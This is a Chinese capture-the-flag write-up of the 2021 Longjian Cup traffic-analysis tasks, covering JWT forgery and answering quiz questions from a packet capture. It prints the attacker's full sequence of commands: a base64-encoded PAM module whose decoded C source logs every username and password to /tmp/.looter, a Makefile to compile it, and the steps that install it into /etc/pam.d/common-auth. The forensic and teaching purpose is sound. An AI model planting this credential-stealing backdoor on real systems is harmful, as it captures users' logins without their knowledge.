流量分析——陇剑杯 2021【签到、jwt】

签到

1、攻击者正在进行的可能是什么协议的网络攻击

统计 --> 协议分级

在这里插入图片描述

主要是TCP协议,且应用层协议主要是HTTP

HTTP

jwt

昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:

1、该网站使用了______认证方式。

前置知识:

网站使用的认证方式主要有:

  • Session机制
  • JWT
  • OAuth2
  • Cookie
  • HTTP Basic Auth
  • OpenID Connect
  • 双因素认证

记得各种认证方式的主要特征

JWT:头部、载荷和签名三段数据以.分隔,通过base64进行加密

解:

在这里插入图片描述

查看token的信息,明显的jwt认证方式

还可以解码进行验证,直接能识别到用JWT进行解码了~~~

在这里插入图片描述

用base64解头部也一样

在这里插入图片描述

JWT

2、黑客绕过验证使用的jwt中,id和username是

追踪HTTP流

既然问的是id和username,那么就要找whoami这个命令,并且返回200码

在第3个流有所发现

在这里插入图片描述

解码是:

在这里插入图片描述

之后的流中显示的信息是没有成功攻击,继续往下分析

在第10个流时再次发现,往后的流就是在进行攻击

在这里插入图片描述

在这里插入图片描述

把第二段载荷解码即可

对往后的流进行分析

在这里插入图片描述

# eq 11
echo%20MTIz|base64%20-d
# 输出MTIz用base64解码之后的结果
# 返回  123

#eq 12

echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2bCiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9|base64%20-d

输出base64解码后的内容

解码后是一段C代码

在这里插入图片描述

#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}

void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}

snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}

这段代码是一个PAM模块的示例,用于在Linux系统中进行身份验证,并将用户名和密码保存到文件中。

#eq 13

echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2bCiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9|base64%20-d%20>/tmp/1.c

输出的结果定向到/tmp/1.c文件中

#eq 14

ls%20/tmp

查看/tmp文件夹

#eq 15

cat /tmp/1.c

查看1.c的文件内容

#eq 16

echo%20Q0ZMQUdTICs9IC1XZXJyb3IgLVdhbGwKCmxvb3Rlci5zbzogbG9vdGVyLmMKCWdjYyAkKENGTEFHUykgLWZQSUMgLXNoYXJlZCAtWGxpbmtlciAteCAtbyAkQCAkPCAtbGN1cmw=|base64%20-d%20>/tmp/Makefile

在这里插入图片描述

CFLAGS += -Werror -Wall

looter.so: looter.c
	gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl

写入/tmp/Makefile文件中

用于编译一个名为"looter.so"的共享库。其中,CFLAGS变量包含了一些编译选项,如-Werror和-Wall,分别表示将所有警告视为错误和开启所有警告。接下来的规则定义了如何从"looter.c"源文件生成"looter.so"共享库。

#eq 17

ls%20/tmp

查看tmp目录下的文件

#eq 18

cd%20/tmp;make

切换到tmp目录下后执行make命令,进行自动编译

#eq 19

mv%20/tmp/1.c%20/tmp/looter.c

重命名1.clooter.c

#eq 20

cd%20/tmp;make

tmp目录下执行make命令

#eq 21

ls%20/tmp

查看tmp目录下的文件

在这里插入图片描述

多了looter.so文件,进行了编译

#eq 22

cp%20/tmp/looter.so%20/lib/x86_64-linux-gnu/security/

looter.so复制到/lib/x86_64-linux-gnu/security/路径下

#eq 23

ls%20/lib/x86_64-linux-gnu/security/

查看该路径目录文件

#eq 24

echo%20"auth%20optional%20looter.so"

输出字符串auth optional looter.so

#eq 25

echo%20"\nauth%20optional%20looter.so"

输出字符串回车 auth optional looter.so

#eq 26

echo%20"auth%20optional%20looter.so">>/etc/pam.d/common-auth

将这串字符串auth optional looter.so添加到/etc/pam.d/common-auth内容的后面

#eq 27

cat%20/etc/pam.d/common-auth

查看common-auth的文件内容

#eq 28

service%20ssh%20restart

重启ssh服务

#eq 29

whoami

当前用户

#eq 30

ls%20-al%20/tmp

查看详细信息

在这里插入图片描述

#eq 31

cat%20/tmp/.looter

查看.looter文件信息

在这里插入图片描述

10087 admin

3、黑客获取webshell之后,权限是什么

查看whoami返回的值

在这里插入图片描述

root

4、黑客上传的恶意文件文件名是

分析第13流可以知道是1.c

在这里插入图片描述

1.c

5、黑客在服务器上编译的恶意so文件,文件名是什么

分析第16-21流,得知编译后的文件名是looter.so

looter.so

6、黑客在服务器上修改了一个配置文件,文件的绝对路径为

分析第26流,修改的配置文件路径为/etc/pam.d/common-auth

/etc/pam.d/common-auth

  • 23
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值